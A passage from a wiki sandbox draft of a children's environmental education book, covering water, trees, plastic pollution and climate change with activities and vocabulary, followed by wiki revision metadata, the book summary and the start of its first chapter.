Washing clothes * Cleaning utensils * Flushing toilets Good hygiene and sanitation help protect communities from disease. ==== F. Water in Industry ==== Industries use water for many purposes, including: * Manufacturing * Cooling machinery * Cleaning * Food processing * Producing certain goods Industries must manage water responsibly and prevent harmful substances from entering water sources. ---- === 4. The Water Cycle === Water does not simply disappear after it is used. It moves continuously through the environment in a process called the '''water cycle'''. The main stages include: ==== 1. Evaporation ==== Heat from the Sun causes water from oceans, lakes, rivers, and other surfaces to change into water vapour. ==== 2. Transpiration ==== Plants release water vapour into the atmosphere through tiny openings in their leaves. ==== 3. Condensation ==== Water vapour rises, cools, and forms tiny droplets that make clouds. ==== 4. Precipitation ==== When water droplets become sufficiently large, they fall to Earth as: * Rain * Snow * Sleet * Hail ==== 5. Collection and Infiltration ==== Water collects in rivers, lakes, oceans, and other water bodies. Some water also soaks into the ground and becomes groundwater. The cycle then continues. ---- === 5. Clean Water and Polluted Water === Not all water is safe to drink. '''Clean and safe water''' is water that does not contain harmful levels of microorganisms, chemicals, or other contaminants. '''Polluted water''' contains substances that can harm people, animals, plants, or ecosystems. Water pollution can come from many sources. === Examples include: === * Sewage * Plastic waste * Oil * Industrial chemicals * Agricultural chemicals * Animal waste * Household waste * Soil and sediment ---- === 6. Effects of Water Pollution === Water pollution can have serious consequences. ==== A. Human Health ==== Contaminated water can contribute to diseases and other health problems, particularly where sanitation and water treatment are inadequate. ==== B. Aquatic Life ==== Pollution can harm fish, insects, plants, amphibians, and other organisms living in water. ==== C. Food Production ==== Polluted water used for agriculture can affect crops, livestock, and food safety. ==== D. The Environment ==== Pollution can damage aquatic ecosystems and reduce the quality of habitats. ==== E. Economic Activities ==== Fishing, tourism, agriculture, and other activities can suffer when water resources become polluted. ---- === 7. How We Can Protect Water === Everyone has a role to play in protecting water resources. ==== At Home ==== * Do not throw rubbish into drains, rivers, or lakes. * Repair leaking taps and pipes. * Use only the water you need. * Avoid wasting water while washing. * Dispose of chemicals and oils appropriately. * Keep toilets and sanitation facilities clean. ==== At School ==== Students can: * Turn off taps after use. * Report leaking taps and pipes. * Keep school compounds free from litter. * Avoid throwing rubbish into drainage channels. * Participate in water-conservation activities. * Teach others about the importance of water. ==== In the Community ==== Communities can: * Protect wells, springs, rivers, and wetlands. * Prevent dumping near water sources. * Plant and protect vegetation where appropriate. * Maintain drainage and sanitation systems. * Encourage responsible water use. * Support safe water and sanitation projects. ---- === 8. Water Conservation === '''Water conservation''' means using water carefully and avoiding unnecessary waste. Simple actions can save large amounts of water. === Examples === Instead of leaving a tap running while brushing your teeth, turn it off when water is not needed. When washing clothes or dishes, use a reasonable amount of water rather than allowing water to run continuously. Leaking taps and pipes should be repaired because a small leak can waste water over time. Rainwater can also be collected and used for suitable purposes. ---- === 9. The Importance of Wetlands and Forests === Natural ecosystems help protect water resources. ==== Wetlands ==== Wetlands can store water, provide habitats, and help remove some pollutants from water. ==== Forests and Vegetation ==== Vegetation helps protect soil and can reduce erosion and surface runoff. Vegetated areas around water bodies can therefore contribute to the protection of water quality. Destroying wetlands and removing vegetation carelessly can increase environmental problems such as erosion, flooding, and water pollution. ---- === 10. Safe Drinking Water === Water intended for drinking should be obtained from a safe source and, where necessary, treated appropriately. Methods of treating water may include: * Boiling * Filtration * Chlorination * Other approved water-treatment methods The correct treatment method depends on the source and the contaminants that may be present. Water should also be stored safely in clean, covered containers to reduce the chance of contamination. ---- === 11. Water and Our Future === Fresh water is limited and unevenly distributed. Some communities have reliable access to safe water, while others face shortages or difficulties accessing clean water. Population growth, pollution, climate variability, changing land use, and increasing demand can place pressure on water resources. Protecting water today helps ensure that future generations can also benefit from this essential resource. ---- === 12. Practical Activity: Saving Water === ==== Activity ==== For one day, observe how water is used at home or school. Make a list of activities such as: * Drinking * Cooking * Bathing * Washing hands * Washing clothes * Cleaning * Watering plants Then identify activities where water may be wasted. ==== Questions ==== # Which activity uses the most water? # Where is water being wasted? # How could the waste be reduced? # What can you do personally to save water? Discuss your answers with your classmates or family members. ---- === 13. Key Vocabulary === '''Water:''' A natural substance essential for life. '''Water cycle:''' The continuous movement of water through the environment. '''Evaporation:''' The change of liquid water into water vapour. '''Condensation:''' The change of water vapour into liquid droplets. '''Precipitation:''' Water falling from clouds as rain, snow, sleet, or hail. '''Groundwater:''' Water stored beneath the Earth's surface. '''Water pollution:''' The contamination of water by harmful substances. '''Water conservation:''' The careful and responsible use of water. '''Wetland:''' Land that is covered or saturated with water for part or all of the year. '''Sanitation:''' Systems and practices for safely managing human waste and maintaining hygiene. ---- === 14. Summary === Water is essential for '''people, animals, plants, agriculture, sanitation, industry, and ecosystems'''. It comes from sources such as rain, rivers, lakes, groundwater, and wetlands. Water moves continuously through the '''water cycle''', but clean and accessible freshwater is a valuable resource that must be protected. Pollution, waste, careless use, and damage to natural ecosystems can threaten water resources. We can help by '''saving water, preventing pollution, protecting water sources, practising good sanitation, and using water responsibly'''. The most important lesson is simple:<blockquote>'''Water is life. Protect every drop.'''</blockquote> ==== Short Story: The Dirty Stream ==== Children in a village noticed that their stream was becoming dirty. Some people were throwing rubbish into it. The children spoke to their teacher and community leaders. Together, they organised a clean-up and encouraged people to stop dumping rubbish in the stream. '''Lesson:''' Protecting water requires teamwork and responsible behavior. ==== Water-Protection Challenge ==== For one week: * Close taps properly after use. * Use only the water you need. * Keep water containers clean. * Encourage others not to pollute water sources. == Chapter 4: Trees == === Introduction === Trees are among the most useful living things on Earth. They grow in forests, gardens, farms, school compounds, along roads, and around our homes. Trees provide food, shelter, shade, materials, and many other benefits. Trees also help protect the environment. They absorb carbon dioxide from the atmosphere, release oxygen through photosynthesis, help protect soil from erosion, and provide habitats for many animals. For these reasons, trees can truly be described as '''our friends'''. However, trees need care and protection so that they can continue benefiting people and the environment. ---- === 1. What Is a Tree? === A tree is a large plant with a woody stem or trunk, branches, leaves, and roots. The main parts of a tree include: * '''Roots''' – anchor the tree in the soil and absorb water and minerals. * '''Trunk''' – supports the tree and transports water and nutrients. * '''Branches''' – hold the leaves, flowers, and fruits. * '''Leaves''' – make food for the tree through photosynthesis. * '''Flowers''' – help many trees reproduce. * '''Fruits and seeds''' – help produce new trees. Trees vary greatly in size, shape, and appearance. ---- === 2. Trees Give Us Oxygen === Trees and other green plants carry out '''photosynthesis'''. During photosynthesis, plants use: * Sunlight * Water * Carbon dioxide to produce food, while releasing oxygen into the atmosphere. Oxygen is needed by humans and many animals for respiration. Trees therefore play an important role in maintaining the gases that support life. ---- === 3. Trees Give Us Food === Many trees provide food for people and animals. Examples include: * Mango trees * Avocado trees * Orange trees * Jackfruit trees * Banana plants * Coconut palms Trees can provide fruits, nuts, seeds, leaves, and other edible products. Animals also depend on trees for food. ---- === 4. Trees Provide Shade === Trees provide shade from strong sunlight. People can sit under trees to rest, study, talk, or relax. Trees around homes, schools, parks, and public spaces can make these places more comfortable. Shade from trees can also help reduce the amount of direct sunlight reaching buildings and the ground. ---- === 5. Trees Provide Homes for Animals === Trees are important habitats for many living organisms. Birds may build nests in branches. Insects may live on leaves and bark. Monkeys, squirrels, reptiles, and other animals may use trees for shelter, food, or movement. A large tree can therefore support many different forms of life. When trees are destroyed, animals can lose their homes and sources of food. ---- === 6. Trees Protect the Soil === Tree roots hold soil together. When heavy rain falls on bare soil, it can wash soil away. This process is called '''soil erosion'''. Trees can help reduce erosion because: * Their roots hold soil together. * Their leaves and branches reduce the force of falling rain. * Fallen leaves cover the soil. * Tree-covered land can slow surface runoff. Protecting trees is therefore one way of helping to protect soil. ---- === 7. Trees Help Protect Water === Trees and other vegetation play an important role in the water cycle. Their roots help water enter and move through the soil. Vegetation can also reduce soil erosion and the amount of sediment carried into rivers and lakes. Trees growing near water bodies can therefore contribute to the protection of water resources. ---- === 8. Trees Help Fight Climate Change === Trees absorb '''carbon dioxide''', a greenhouse gas, as they grow. Through photosynthesis, trees use carbon dioxide to make food. Some of the carbon becomes stored in the tree's wood, roots, and other parts. Forests and other ecosystems therefore store significant amounts of carbon. Protecting existing forests and planting appropriate trees can contribute to efforts to address climate change, although trees are only one part of the solution. ---- === 9. Trees Provide Materials === Trees provide materials that people use in everyday life. Wood can be used to make: * Furniture * Doors * Houses * Poles * Tools * Paper products Some trees also provide materials such as: * Rubber * Cork * Resins * Fibres * Oils These materials support many livelihoods and industries. However, trees should be harvested responsibly, and forests should be managed sustainably. ---- === 10. Trees Provide Medicine === Some trees contain substances that have been used traditionally or scientifically in medicines and other health-related products. Examples of trees associated with traditional or medicinal uses include: * Neem * Eucalyptus * Cinchona * Some species of acacia Medicinal plants should be used carefully. Traditional knowledge does not automatically mean that a plant is safe or effective for every medical condition. ---- === 11. Trees Improve the Environment === Trees contribute to healthier surroundings in several ways. They can: * Provide habitats for wildlife. * Help reduce soil erosion. * Store carbon. * Provide shade. * Improve the appearance of landscapes. * Reduce wind speeds in some areas. * Contribute to cleaner and cooler local environments. Trees in towns and cities can be especially valuable because they provide shade and green spaces among buildings and roads. ---- === 12. Trees and the Air We Breathe === Trees interact with the atmosphere in important ways. Their leaves absorb carbon dioxide during photosynthesis and release oxygen. Trees can also trap some airborne particles on their leaves. However, trees do not remove all air pollution, and planting the right species in appropriate locations is important. ---- === 13. Why People Cut Down Trees === People cut down trees for different reasons. These include: * Getting firewood * Producing charcoal * Obtaining timber * Clearing land for farming * Building houses and roads * Producing paper and other products Some tree harvesting is necessary for human needs. The problem arises when trees are removed '''faster than they can naturally or deliberately be replaced'''. This can lead to '''deforestation'''. ---- === 14. Effects of Deforestation === '''Deforestation''' is the large-scale removal of forests or trees from an area. Deforestation can result in: * Loss of wildlife habitats * Increased soil erosion * Loss of biodiversity * Reduced carbon storage * Changes in local water cycles * Loss of valuable forest resources When forests are cleared without proper management, the environmental and social consequences can be serious. ---- === 15. How We Can Protect Trees === Everyone can help protect trees. ==== At Home ==== * Plant suitable trees. * Avoid unnecessary cutting of trees. * Use wood and paper responsibly. * Protect young trees from damage. * Compost suitable organic waste and return nutrients to the soil where appropriate. ==== At School ==== Students can: * Plant and care for trees. * Avoid damaging tree trunks and branches. * Keep school gardens clean. * Water young trees when necessary. * Learn about local tree species. * Organise tree-care activities. ==== In the Community ==== Communities can: * Protect forests and woodlands. * Plant appropriate native or well-adapted species. * Prevent uncontrolled cutting. * Encourage sustainable forestry. * Protect trees along rivers and other sensitive areas. * Educate people about the value of trees. ---- === 16. Planting a Tree === Planting a tree is useful, but simply putting a seedling in the ground is not enough. The tree must be cared for. ==== Basic steps ==== # '''Choose a suitable species''' for the local environment. # '''Choose an appropriate location''' with enough space for the mature tree. # '''Prepare the soil''' and dig a suitable planting hole. # '''Plant the seedling carefully.''' # '''Water it when necessary''', especially during dry periods. # '''Protect it from animals and damage.''' # '''Remove competing weeds when appropriate.''' # '''Continue caring for the tree as it grows.''' A healthy mature tree may take many years to develop, so tree planting requires patience. ---- === 17. Trees and Responsibility === Trees belong to a wider ecosystem. When we care for them, we are also helping many other organisms. We should remember:<blockquote>'''Plant a tree, care for a tree, and protect a tree.'''</blockquote>Planting trees is important, but '''protecting existing mature trees is also very valuable''' because mature trees already provide established habitat, shade, and carbon storage. ---- === 18. Practical Activity: Adopt a Tree === Choose a tree at your school or home. Observe it regularly and record: * Its height or approximate size * The shape of its leaves * Whether it has flowers or fruits * Animals or insects found on it * Changes you observe over several weeks Give the tree a name if you wish and create a simple care schedule. === Questions === # What type of tree did you observe? # What benefits does it provide? # Which animals use it? # How can you protect it? # What changes did you observe over time? ---- === 19. Key Vocabulary === '''Tree:''' A large woody plant with a trunk, branches, leaves, and roots. '''Photosynthesis:''' The process by which green plants use sunlight, water, and carbon dioxide to make food and release oxygen. '''Habitat:''' The natural home or environment of a plant or animal. '''Deforestation:''' The large-scale removal of forests or trees. '''Soil erosion:''' The removal of soil by agents such as water or wind. '''Biodiversity:''' The variety of living organisms in an area or on Earth. '''Forest:''' A large area dominated by trees and associated plants and animals. '''Sustainable:''' Using resources in a way that allows them to remain available for the future. '''Carbon dioxide:''' A gas in the atmosphere that plants use during photosynthesis and that also contributes to the greenhouse effect. ---- === 20. Summary === Trees are essential parts of our environment. They provide '''food, shade, oxygen, habitats, materials, and protection for soil and water'''. They also absorb carbon dioxide and store carbon. However, uncontrolled cutting and destruction of forests can cause deforestation, habitat loss, soil erosion, and other environmental problems. We can protect trees by '''planting appropriate trees, caring for young trees, reducing unnecessary tree cutting, using forest products responsibly, and protecting natural forests'''. Trees are more than sources of wood and fruit. They are living parts of ecosystems that support people, animals, and the environment.. === Activity === Plant or care for a tree or flower at home or school. Observe it regularly and record how it changes. == Chapter 5: Plastic Pollution == === Introduction === Plastic is one of the most widely used materials in the modern world. We find plastic in bottles, bags, food packaging, toys, containers, clothes, electronics, and many other products. Plastic is useful because it is light, strong, waterproof, and relatively inexpensive. However, when plastic is used carelessly and discarded improperly, it can become a serious environmental problem. '''Plastic pollution''' occurs when plastic waste accumulates in places where it can harm people, animals, and the environment. The good news is that everyone can help reduce plastic pollution by making responsible choices about how we use, reuse, collect, and dispose of plastic. ---- === 1. What Is Plastic? === Plastic is a group of materials made mainly from polymers. Many plastics are produced from fossil-fuel-based raw materials, although some newer plastics are made partly or entirely from other sources. Plastic can be manufactured into many different shapes and forms. Examples include: * Plastic bags * Bottles * Food containers * Packaging * Pipes * Toys * Furniture * Household equipment Because plastic can be made into so many useful products, it has become an important material in everyday life. ---- === 2. What Is Plastic Pollution? === '''Plastic pollution''' is the accumulation or presence of plastic waste in the environment in ways that cause harm or create environmental problems. Plastic waste can be found: * On streets * In drainage channels * In gardens * On beaches * In rivers and lakes * In wetlands * In forests * In agricultural areas * In oceans Plastic that is thrown on the ground can be carried by wind or rain into drainage systems and waterways. ---- === 3. Common Sources of Plastic Waste === Plastic waste comes from many activities. ==== At Home ==== Households may produce plastic waste from: * Shopping bags * Food packaging * Bottles * Containers * Wrappers * Disposable utensils ==== At School ==== Schools may produce plastic waste from: * Water bottles * Snack wrappers * Packaging * Plastic stationery * Disposable food containers ==== In Businesses ==== Shops, restaurants, markets, and industries may generate large amounts of plastic packaging and other plastic waste. ==== In Agriculture ==== Some agricultural activities use plastic materials such as containers, packaging, irrigation components, and other products. ---- === 4. Why Does Plastic Become a Problem? === Plastic itself can be useful. The problem often occurs when it is '''used unnecessarily, discarded carelessly, or poorly managed'''. Plastic can persist in the environment for long periods. Larger plastic items can break into smaller pieces called '''microplastics''' rather than simply disappearing. When plastic waste is not collected or managed properly, it can spread through the environment. ---- === 5. Plastic Pollution and Water === Plastic waste can enter rivers, lakes, wetlands, and oceans. It may be carried into waterways by: * Rain * Floodwater * Wind * Poorly managed rubbish * Drainage systems Once plastic enters water, it can interfere with aquatic ecosystems and make waterways dirty. Plastic waste can also block drains and contribute to flooding when drainage systems become obstructed. ---- === 6. Plastic Pollution and Animals === Animals can be harmed by plastic pollution. Some animals may mistake plastic for food and swallow it. This can cause injury, illness, or blockage of the digestive system. Animals can also become trapped or entangled in plastic materials such as bags, strings, fishing lines, and other discarded objects. Keeping plastic waste out of natural habitats helps protect wildlife. ---- === 7. Microplastics === '''Microplastics''' are very small pieces of plastic, generally less than 5 millimetres in size. They can be produced when larger plastic items break down into smaller pieces. Some microplastics also come directly from products or industrial processes. Because they are so small, microplastics can be difficult to remove from the environment. They have been detected in many environmental settings, including water, soil, air, and living organisms. Scientists continue to study their effects on ecosystems and human health. ---- === 8. Plastic Pollution and Soil === Plastic waste can accumulate on land and become mixed with soil. This can: * Make land unattractive and difficult to manage. * Interfere with farming activities. * Harm animals that live in or feed from the soil. * Break down into smaller plastic particles. * Carry pollutants into the wider environment. Farmers and communities can help by preventing plastic waste from being dumped on agricultural land. ---- === 9. Burning Plastic === Some people burn plastic waste because they want to get rid of it quickly. However, '''burning plastic in open fires is not a safe waste-management method'''. Depending on the type of plastic and how it burns, smoke can contain harmful pollutants and fine particles. Instead of burning plastic, it is better to: * Reduce unnecessary plastic use. * Reuse suitable items. * Separate recyclable materials. * Use appropriate waste-collection services. * Dispose of residual waste through approved systems. ---- === 10. Plastic Recycling === '''Recycling''' involves collecting and processing used materials so that they can become inputs for new products. Some types of plastic can be recycled. However, not every plastic item is accepted by every recycling system. Recycling facilities may differ in the types of plastics they can process. Therefore, people should follow the sorting instructions provided by their local waste-management or recycling service. ---- === 11. Reuse Before Recycling === Recycling is useful, but '''reuse can sometimes be even simpler'''. For example, a durable container can be used repeatedly instead of being thrown away after one use. Reusable alternatives may include: * Shopping bags * Water bottles * Food containers * Cups * Lunch boxes The best option depends on the product and how it is used. The important principle is to avoid unnecessary waste. ---- === 12. How Can We Reduce Plastic Pollution? === Everyone can take practical steps. ==== A. Refuse Unnecessary Plastic ==== If you do not need a disposable plastic item, avoid taking it. ==== B. Reduce Plastic Use ==== Choose products with less unnecessary packaging when practical. ==== C. Reuse ==== Use suitable durable products more than once. ==== D. Recycle ==== Separate recyclable plastic according to local collection requirements. ==== E. Dispose Properly ==== Put plastic waste into the correct waste container rather than throwing it on the ground. ==== F. Keep Waterways Clean ==== Never throw plastic into rivers, lakes, wetlands, drainage channels, or other water bodies. ---- === 13. Plastic Pollution at School === Students can help reduce plastic pollution at school. They can: * Carry reusable water bottles. * Avoid unnecessary disposable packaging. * Use rubbish bins correctly. * Separate recyclable waste where a recycling system exists. * Participate in clean-up activities. * Encourage classmates not to litter. * Report overflowing rubbish bins to teachers or school administrators. A clean school environment begins with responsible everyday habits. ---- === 14. Plastic Pollution in the Community === Communities can work together to reduce plastic pollution. Useful actions include: * Organising clean-up activities. * Providing appropriate rubbish bins. * Supporting waste collection. * Encouraging reusable shopping bags. * Educating residents about waste separation. * Preventing dumping in drainage channels. * Supporting responsible recycling initiatives. Businesses can also help by reducing unnecessary packaging and improving the collection and management of plastic waste. ---- === 15. The Plastic Pollution Solution === There is no single solution to plastic pollution. A successful approach involves several actions: '''Prevent → Reduce → Reuse → Recycle → Dispose safely''' This means we should think about waste '''before''' we create it. For example:<blockquote>Instead of buying a disposable plastic bottle every day, a person may carry a suitable reusable bottle and refill it with safe drinking water.</blockquote>Small changes repeated by many people can make a significant difference. ---- === 16. Practical Activity: Plastic Audit === ==== Activity ==== For one day, collect or record the plastic waste produced by your household or class. Group the items into categories such as: * Bottles * Bags * Wrappers * Containers * Other plastic items Then discuss: # Which type of plastic waste was most common? # Which items could have been avoided? # Which items could be reused? # Which items could potentially be recycled? # How could your household or class produce less plastic waste? Create a '''“Plastic Reduction Plan”''' with three actions that your class can follow for one month. ---- === 17. Key Vocabulary === '''Plastic:''' A group of synthetic or semi-synthetic materials made mainly from polymers. '''Plastic pollution:''' The accumulation or presence of plastic waste in the environment in ways that cause harm or environmental problems. '''Microplastic:''' A very small plastic particle, generally less than 5 millimetres in size. '''Recycle:''' To process used materials so they can be used to make new products. '''Reuse:''' To use an item again instead of throwing it away. '''Litter:''' Waste that has been carelessly discarded in the environment. '''Waste management:''' The collection, sorting, treatment, recovery, and safe disposal of waste. '''Biodegradable:''' Able to break down naturally through biological processes. ---- === 18. Questions for Discussion === # What is plastic pollution? # Give five examples of plastic items used in your community. # How can plastic enter rivers and lakes? # How can plastic harm animals? # What are microplastics? # Why is burning plastic in open fires a problem? # What is the difference between reusing and recycling? # How can students reduce plastic waste at school? # Why should plastic not be thrown into drainage channels? # What three actions can your community take to reduce plastic pollution? ---- === 19. Summary === Plastic is a useful material, but poor management of plastic waste can cause pollution on land and in water. Plastic waste can block drainage systems, damage habitats, harm animals, and break down into microplastics. Burning plastic in open fires can also release harmful pollutants. We can reduce plastic pollution by following the principles of: '''Refuse → Reduce → Reuse → Recycle → Dispose safely''' Everyone has a role to play. At home, at school, in markets, and throughout our communities, responsible choices can help keep our environment clean.<blockquote>'''Use plastic wisely, keep it out of nature, and give every piece of waste the right place.'''</blockquote> == Chapter 6: Our Changing World == === Introduction === The Earth is our home. It provides us with air to breathe, water to drink, food to eat, and land on which we live and work. The Earth's climate also affects plants, animals, agriculture, and human activities. Today, the Earth's climate is changing. '''Climate change''' refers to long-term changes in the average conditions of the Earth's climate, including changes in temperature, rainfall, and weather patterns. Climate has changed naturally throughout Earth's history. However, human activities have caused a significant increase in greenhouse gases in the atmosphere, contributing to the current warming of the planet. Understanding climate change helps us make informed choices about how to protect people, communities, and the natural environment. ---- === 1. What Is Climate? === '''Climate''' is the usual pattern of weather in a particular place over a long period. Climate includes things such as: * Temperature * Rainfall * Humidity * Wind * Seasons For example, one rainy day tells us about '''weather''', while the typical pattern of rainfall over many years tells us about '''climate'''. === Weather and Climate === '''Weather:''' What the atmosphere is like over a short period. '''Climate:''' The long-term pattern of atmospheric conditions. A simple way to remember this is:<blockquote>'''Weather is what we experience today; climate is the pattern we observe over many years.'''</blockquote> ---- === 2. What Is Climate Change? === '''Climate change''' is a long-term change in the Earth's climate. It can involve changes in: * Average temperatures * Rainfall patterns * The frequency or intensity of some extreme weather events * Sea levels * Glaciers and ice * Oceans and ecosystems Climate change is not simply about the Earth becoming warmer every day. Different regions can experience different changes. ---- === 3. The Greenhouse Effect === The Earth's atmosphere contains gases called '''greenhouse gases'''. Important greenhouse gases include: * Carbon dioxide * Methane * Nitrous oxide * Water vapour These gases help keep the Earth warm enough for life. This natural process is called the '''greenhouse effect'''. Without the natural greenhouse effect, Earth would be much colder. The problem is that human activities have increased the concentrations of several greenhouse gases in the atmosphere. This strengthens the greenhouse effect and causes additional warming. ---- === 4. Causes of Modern Climate Change === Human activities are the main cause of the recent long-term warming of the Earth's climate. Major sources of greenhouse gas emissions include: ==== A. Burning Fossil Fuels ==== Coal, oil, and natural gas are burned to produce energy for: * Electricity * Transport * Industry * Heating and cooking Burning fossil fuels releases carbon dioxide. ==== B. Deforestation ==== Trees absorb carbon dioxide as they grow. When forests are destroyed, this carbon-storage capacity is reduced, and carbon can also be released into the atmosphere. ==== C. Agriculture ==== Agriculture can produce greenhouse gases such as methane and nitrous oxide. Sources include: * Livestock * Rice cultivation * Fertiliser use * Management of agricultural soils ==== D. Industry ==== Some industrial processes release greenhouse gases directly or use large amounts of fossil-fuel energy. ==== E. Waste ==== Poorly managed waste can produce greenhouse gases. For example, organic waste decomposing without enough oxygen in landfills can generate methane. ---- === 5. Signs of a Changing Climate === Scientists use observations from many parts of the world to study climate change. Evidence includes: * Rising global average temperatures * Warming oceans * Melting glaciers and ice sheets * Rising sea levels * Changes in some ecosystems * Changes in the timing or distribution of some biological events These changes occur over long periods, so scientists use measurements collected over many years. ---- === 6. Climate Change and Water === Climate change can affect water resources. Changes in temperature and rainfall can influence: * Rivers * Lakes * Groundwater * Soil moisture * Water availability Some areas may experience heavier rainfall or flooding, while others may experience longer or more severe dry periods. Changes in water availability can affect households, agriculture, animals, and ecosystems. ---- === 7. Climate Change and Agriculture === Agriculture depends heavily on climate. Farmers need suitable: * Rainfall * Temperatures * Soil conditions * Growing seasons Climate change can make farming more difficult when rainfall becomes less predictable or temperatures become unsuitable for certain crops. Farmers can respond through '''adaptation''', such as: * Planting drought-tolerant crops where appropriate * Improving water management * Using soil-conservation methods * Adjusting planting dates * Diversifying crops and livelihoods The best adaptation measures depend on local conditions. ---- === 8. Climate Change and Animals === Animals depend on suitable habitats, food, water, and temperatures. As climate conditions change, some species may: * Move to new areas * Change feeding or breeding patterns * Face greater pressure from habitat changes * Become more vulnerable to disease or other environmental stresses Species that cannot adapt or move quickly enough may face increased risks. Protecting natural habitats can help wildlife cope with environmental changes. ---- === 9. Climate Change and Forests === Forests are important in the fight against climate change. Trees remove carbon dioxide from the atmosphere and store carbon in their: * Trunks * Branches * Leaves * Roots * Soil Forests also provide habitats, protect soil, support water systems, and provide resources for communities. Protecting forests and managing them sustainably can therefore provide both environmental and social benefits. ---- === 10. Climate Change and Human Health === Climate change can affect human health in several ways. For example, changes in temperature can increase heat-related risks. Flooding can damage homes and sanitation systems, while drought can affect food and water supplies. Climate change can also influence the conditions under which some disease-carrying organisms survive and spread. The effects are not the same everywhere. Local conditions, healthcare systems, infrastructure, and people's ability to adapt all matter. ---- === 11. Climate Change and Extreme Weather === Climate change does not cause every individual weather event. However, warming can influence the likelihood or intensity of '''some''' extreme events. Examples include: * Heatwaves * Heavy rainfall * Flooding * Droughts The relationship differs between types of events and locations, so scientists study individual events and regions carefully. ---- === 12. What Is Climate Change Adaptation? === '''Adaptation''' means adjusting to actual or expected climate changes in order to reduce harm or take advantage of possible opportunities. Examples include: * Building stronger drainage systems. * Protecting wetlands. * Improving water storage. * Growing crops suited to changing conditions. * Planting trees for shade. * Developing early-warning systems for dangerous weather. * Improving building designs. Adaptation helps communities prepare for changes that are already occurring or expected. ---- === 13. What Is Climate Change Mitigation? === '''Mitigation''' means reducing greenhouse gas emissions or increasing the amount of greenhouse gases removed from the atmosphere. Examples include: * Using renewable energy such as solar and wind power. * Improving energy efficiency. * Using public transport where practical. * Walking or cycling for suitable journeys. * Protecting and restoring forests. * Reducing unnecessary waste. * Improving waste management. * Developing lower-emission technologies. Mitigation addresses the causes of climate change, while adaptation focuses on reducing the harm caused by its effects. ---- === 14. What Can Students Do? === Students may not control large industries or national policies, but their everyday actions can contribute to environmental protection. ==== At School ==== Students can: * Switch off unnecessary lights and electrical equipment. * Avoid wasting paper. * Walk or cycle where it is safe and practical. * Use reusable items where appropriate. * Plant and care for trees. * Prevent littering. * Protect school gardens and green spaces. ==== At Home ==== Families can: * Use energy efficiently. * Reduce unnecessary waste. * Reuse suitable items. * Avoid unnecessary burning of waste. * Save water. * Plant and care for appropriate trees. * Choose lower-waste options where practical. Individual actions are useful, but addressing climate change also requires action by communities, businesses, governments, and other institutions. ---- === 15. Climate Change and Our Community === Communities can work together to become more resilient. Useful activities include: * Protecting forests and wetlands. * Improving drainage. * Maintaining clean water sources. * Planting appropriate trees. * Using sustainable farming practices. * Preparing emergency plans. * Sharing information about climate risks. * Supporting reliable weather and early-warning information. Local knowledge is also valuable. People who have lived in an area for many years may notice changes in rainfall, seasons, water availability, or farming conditions. Combining local knowledge with scientific information can help communities plan effectively. ---- === 16. A Greener Future === A changing climate presents challenges, but people can take action. A greener future can involve: * Clean and efficient energy * Sustainable agriculture * Protected forests * Healthy wetlands * Less waste * Cleaner transport * Efficient use of water * Climate-resilient communities Young people have an important role because today's decisions will affect the world they live in throughout their lives. ---- === 17. Practical Activity: Observe Your Environment === ==== Activity ==== Keep a simple weather diary for two weeks. Each day, record: * Temperature if a thermometer is available * Whether it rained * Approximate amount of rainfall if measurable * Cloud conditions * Wind conditions * Any unusual weather observations At the end of two weeks, discuss: # Which days were rainy? # Which days were dry? # Did the weather change from day to day? # Can two weeks of observations tell us the long-term climate of your area? Why or why not? # Why do scientists need measurements collected over many years to study climate? This activity helps students understand the difference between '''weather''' and '''climate'''. ---- === 18. Key Vocabulary === '''Climate:''' The long-term pattern of weather conditions in a particular area. '''Climate change:''' Long-term changes in the Earth's climate. '''Greenhouse gas:''' A gas that absorbs and re-emits infrared radiation, contributing to the greenhouse effect. '''Greenhouse effect:''' The natural process by which certain atmospheric gases help keep Earth warm. '''Global warming:''' The long-term increase in Earth's average surface temperature. '''Deforestation:''' The large-scale removal of forests or trees. '''Mitigation:''' Actions that reduce greenhouse gas emissions or increase greenhouse gas removal. '''Adaptation:''' Adjustments that help people and ecosystems cope with actual or expected climate changes. '''Renewable energy:''' Energy from sources that are naturally replenished, such as sunlight, wind, and flowing water. '''Resilience:''' The ability of people, communities, or ecosystems to prepare for, cope with, and recover from difficulties. ---- === 19. Questions for Discussion === # What is climate? # What is the difference between weather and climate? # What is climate change? # What is the greenhouse effect? # Name four human activities that contribute to greenhouse gas emissions. # How can climate change affect agriculture? # How can climate change affect water resources? # What is the difference between adaptation and mitigation? # How can forests help address climate change? # What can students do to help protect the environment? # Why is it important to collect climate information over many years? # How can your community prepare for climate-related risks? ---- === 20. Summary === Climate is the long-term pattern of weather in a place. '''Climate change''' refers to long-term changes in climate, including changes in temperature and rainfall patterns. The Earth's climate has changed naturally in the past, but human activities—particularly the burning of fossil fuels and changes in land use—have increased greenhouse gas concentrations and caused significant recent warming. Climate change can affect '''water, agriculture, forests, wildlife, human health, and communities'''. People can respond through two important approaches: * '''Mitigation:''' reducing the causes of climate change. * '''Adaptation:''' preparing for and adjusting to its effects. Everyone has a role to play in caring for our planet.<blockquote>'''Our world is changing, and our choices today can help shape the world of tomorrow.'''</blockquote> = References = 3ruonfkjwr2aqcwuw5wnwkf8zb353f4 4670698 4670694 2026-09-17T16:55:46Z Sisterian 3123918 Sisterian moved page [[User:Pamela Talemwa/sandbox/A Young Reader's Guide to a Clean and Healthy Community]] to [[User:Pamela Talemwa/sandbox/A Young Reader's Guide to a Healthy Environment]]: editing 4670694 wikitext text/x-wiki == '''<big>A Young Reader's Guide to a Clean and Healthy Community.</big>''' == == '''Book Summary:''' == A Young Reader’s Guide to a Clean and Healthy Community is an educational book for Primary 4–6 learners that teaches children how to care for their homes, schools and communities. The book begins by helping children understand what a community is and why everyone has a responsibility to care for it. It then introduces proper waste management, protection of water sources, the importance of trees, teamwork and children's leadership. Through simple explanations, stories, activities and discussion questions, learners are encouraged to move from simply learning about environmental problems to taking positive action. === Expected Outcome === The book will encourage children to practice good hygiene, protect the environment, work together and take responsibility for creating cleaner, safer and healthier communities. === Conclusion === The book will remind young readers that everyone has a role to play in protecting the environment and that '''small actions can make a big difference'''. == '''Introduction:''' == Our environment is our home. We live, learn, play and grow in it. Keeping it clean and healthy helps us stay safe and happy. This book teaches young readers simple ways to care for their homes, schools and communities. Through short stories, activities and questions, children will learn about rubbish, clean water, trees, teamwork and responsibility. Remember, '''small actions can make a big difference!''' == Chapter 1: Our Community, Our Responsibility == === Understanding a community === While we traditionally think of a community as the people in a given geographical location, the word can really refer to any group sharing something in common -- '''place''' (such as a city, neighborhood, or school district), '''experience''' (such as shared 